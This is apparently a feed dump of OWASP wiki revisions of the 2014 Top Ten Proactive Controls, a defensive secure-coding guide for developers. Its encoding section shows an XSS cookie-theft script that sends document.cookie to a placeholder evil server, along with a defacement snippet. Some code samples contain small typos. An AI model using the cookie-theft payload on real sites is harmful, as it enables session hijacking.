Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the Google KeyCzar project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=172313</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=172313"/>
				<updated>2014-04-10T19:31:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to Cross Site Scripting. Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_Encoder_Project&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_EnDe&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_JSON_Sanitizer&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_EJSF_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_PHPRBAC_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
